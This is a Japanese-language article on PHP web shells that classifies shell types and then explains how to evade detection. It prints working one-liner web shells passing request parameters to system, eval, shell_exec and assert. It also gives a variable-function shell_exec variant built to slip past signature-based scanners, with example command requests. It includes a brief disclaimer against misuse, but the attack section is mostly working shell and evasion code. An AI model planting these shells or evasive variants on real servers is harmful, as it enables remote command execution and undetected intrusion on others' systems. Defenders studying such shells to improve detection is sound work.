ウェブシェルは、攻撃者がウェブサーバー上で任意のコマンドを実行したり、ファイルシステムを操作したりするために使用する悪意のあるスクリプトです。その種類は多岐にわたり、それぞれ異なる特性と検出回避の課題を抱えています。
- ワンライナー型: 最も単純で、一行のコードで構成されることが多く、隠蔽性が高い。検出回避が比較的容易な場合があります。
- 小規模シェル: ワンライナー型より複雑で、基本的なファイル管理やコマンド実行機能を持つもの。
- 大規模シェル: グラフィカルユーザーインターフェース (GUI) を持ち、ファイル操作、データベース連携、コマンド実行など、多機能な管理ツールのような外観を持つもの。有名なものに蟻剣、冰蝎、ゴジラなどがあります。機能が多いため、単一ファイルの検出リスクを低減するために、複数のモジュールに分割したり、正規の管理ツールを模倣したりする手法が取られます。
- メモリシェル: サーバープロセスのメモリ空間に直接注入され、ファイルとして存在しないため、検出と削除が極めて困難です。メモリ内での隠蔽や動的な注入技術が検出回避の鍵となります。
本稿では、これらのウェブシェル、特にワンライナー型を対象に、一般的な検出メカニズムを回避するための基本的な技術について考察します。悪意のある目的での使用は厳禁であり、セキュリティ対策の理解を深めるための情報としてのみ活用してください。
初期のウェブシェルとその検出
以下は、典型的なコマンド実行機能を持つワンライナー型ウェブシェルの例です。これらのパターンは、セキュリティツールによって容易に検出されます。
<?php system($_POST['cmd']); ?>
<?php eval($_POST['cmd']); ?>
<?php echo shell_exec($_POST['cmd']); ?>
<?php assert($_POST['cmd']); ?>
検出を回避しつつ、機能性を維持することが重要です。検証環境として、Windows環境にPHP実行環境(例:XAMPPやWampServer)を構築し、テスト用のディレクトリ(例: webshell_test)を作成して実験を行います。
例えば、次のシンプルなスクリプトを initial_shell.php として保存します。
<?php echo shell_exec($_GET['command']); ?>
このスクリプトに ?command=echo%20hello のようなクエリパラメータを付与してアクセスすると、サーバー上でコマンドが実行され結果が表示されます。
このような単純なウェブシェルは、一般的なウェブシェル検出ツールやアンチウイルスソフトウェアによって、シグネチャベースの分析により容易に識別されます。
検出回避テクニック: 可変変数を用いた関数呼び出し
多くのセキュリティスキャナは、特定の危険な関数名(例: system, shell_exec, eval)がコード内に直接出現するかどうかを静的に解析します。この種の検出を回避するための一つの方法が、「可変変数」を利用して関数名を間接的に指定することです。
可変変数を使用すると、変数に文字列として関数名を格納し、その変数を関数のように呼び出すことができます。これにより、コードを直接スキャンしても危険な関数名が見つからないため、静的解析ベースの検出をすり抜ける可能性が高くなります。
以下のPHPスクリプトは、この原理を応用した例です。
<?php
// 実行したい関数名を文字列として変数に格納
$func_to_call = 'shell_exec';
// リクエストパラメータから実行するコマンドを取得
// 'action'というパラメータ名を使用
$command_param = $_REQUEST['action'];
// 関数名を変数経由で呼び出す
if (isset($command_param) && $command_param !== '') {
// 実行結果を安全に出力
echo htmlspecialchars($func_to_call($command_param));
} else {
echo "コマンドパラメータ 'action' を指定してください。例: ?action=whoami";
}
?>
このコードでは、shell_exec という文字列が直接関数呼び出しとして記述されているわけではないため、シグネチャベースのツールが検出に失敗する場合があります。攻撃者は ?action=ls%20-la のようにアクセスすることで、サーバー上でコマンドを実行できます。出力は htmlspecialchars でエスケープされており、ウェブページへのXSS攻撃を防ぐための簡単な対策が施されていますが、これはウェブシェル自体の機能性を妨げるものではありません。
この手法は、静的解析に対する有効な回避策の一つですが、振る舞い検知やより高度な分析手法には依然として検出される可能性があります。